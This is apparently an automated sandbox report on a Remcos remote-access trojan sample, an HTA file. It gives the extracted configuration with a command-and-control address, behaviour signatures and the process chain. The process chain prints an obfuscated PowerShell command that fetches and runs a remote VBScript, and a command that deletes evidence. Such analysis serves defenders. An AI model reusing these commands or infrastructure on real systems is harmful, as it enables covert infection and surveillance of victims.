Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
29/09/2026, 12:22
General
- Target picture.image.hta
- Size 14KB
- Sample260929-pj4mtazcmd
- SHA256 3ccf794dd168536bb856808f694b545568f37d3d338b9c084eecbb003dc6bcc4
Malware Config
Extracted
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remcos
-
7.3.1 Pro
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RemoteHost
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74.201.173.189:15702
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-DW0RBV
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\picture.image.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C POWeRSHELl -EX BYPass -noP -w 1 -ec IAAJACAACQAgAAkACQAJACAAIAAgACAAdwBnAGUAVAAgACAACQAJAAkAIAAJACAACQAgAAkACQAJAAkAIAAJACAAIAAJAB0gaAB0AHQAcAA6AC8ALwAxADAANwAuADEANwAyAC4AMgAzADUALgAyADIAMwAvADQANAAvAG4AaQBjAGUAdwBvAHIAawBpAG4AZwAuAHYAYgBzAB0gIAAJAAkACQAJAAkALQBPAHUAdABGAEkATABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAHYAOgBhAFAAUABEAEEAdABBAFwAbgBpAGMAZQB3AG8AcgBrAGkAbgBnAC4AdgBiAHMAHSAgACAACQAgACAAIAAgACAAIAA7ACAAIAAJAAkACQAJAAkAIAAgACAACQAgACAACQAJAAkAJgAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AGEAUABwAEQAYQB0AEEAXABuAGkAYwBlAHcAbwByAGsAaQBuAGcALgB2AGIAcwAdIA== "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePOWeRSHELl -EX BYPass -noP -w 1 -ec IAAJACAACQAgAAkACQAJACAAIAAgACAAdwBnAGUAVAAgACAACQAJAAkAIAAJACAACQAgAAkACQAJAAkAIAAJACAAIAAJAB0gaAB0AHQAcAA6AC8ALwAxADAANwAuADEANwAyAC4AMgAzADUALgAyADIAMwAvADQANAAvAG4AaQBjAGUAdwBvAHIAawBpAG4AZwAuAHYAYgBzAB0gIAAJAAkACQAJAAkALQBPAHUAdABGAEkATABlACAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBuAHYAOgBhAFAAUABEAEEAdABBAFwAbgBpAGMAZQB3AG8AcgBrAGkAbgBnAC4AdgBiAHMAHSAgACAACQAgACAAIAAgACAAIAA7ACAAIAAJAAkACQAJAAkAIAAgACAACQAgACAACQAJAAkAJgAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AGEAUABwAEQAYQB0AEEAXABuAGkAYwBlAHcAbwByAGsAaQBuAGcALgB2AGIAcwAdIA== "3⤵
- Badlisted process makes network request
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\niceworking.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\wscript.exe"C:\Windows\System32\wscript.exe" //B //NoLogo "C:\Users\Public\v66343.js"5⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\radA129F.tmp\engine.exe"C:\Users\Admin\AppData\Local\Temp\radA129F.tmp\engine.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe7⤵
- Accesses Microsoft Outlook profiles
- Enumerates connected drives
- outlook_office_path
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-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Public\v66343.js"5⤵
- System Location Discovery: System Language Discovery
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
3JavaScript
1Visual Basic
1Windows Command Shell
1Replay Monitor
Loading Replay Monitor...
Downloads
config.bin
engine.exe
niceworking.vbs
v66343.js
memory/1108-43-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1108-47-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1108-55-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-56-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-54-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-53-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-52-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-51-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-50-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-49-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-48-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-46-0x0000000010000000-0x00000000100F7000-memory.dmp
memory/1108-42-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-41-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-40-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-39-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-36-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-37-0x0000000000400000-0x0000000000490000-memory.dmp
memory/1108-38-0x0000000000400000-0x0000000000490000-memory.dmp
memory/6064-15-0x00000000747C2000-0x00000000747C3000-memory.dmp
memory/6064-14-0x0000000006C20000-0x0000000006C3A000-memory.dmp
memory/6064-3-0x0000000005A00000-0x000000000604A000-memory.dmp
memory/6064-22-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/6064-0-0x00000000747C2000-0x00000000747C3000-memory.dmp
memory/6064-4-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/6064-2-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/6064-7-0x00000000061D0000-0x0000000006236000-memory.dmp
memory/6064-1-0x0000000003270000-0x00000000032A6000-memory.dmp
memory/6064-16-0x00000000747B0000-0x0000000074F6C000-memory.dmp
memory/6064-13-0x0000000008080000-0x00000000086FC000-memory.dmp
memory/6064-12-0x0000000006CF0000-0x0000000006D3C000-memory.dmp
memory/6064-11-0x0000000006750000-0x000000000676E000-memory.dmp
memory/6064-10-0x0000000006270000-0x00000000065CB000-memory.dmp
memory/6064-5-0x00000000060C0000-0x00000000060E2000-memory.dmp
memory/6064-6-0x0000000006160000-0x00000000061C6000-memory.dmp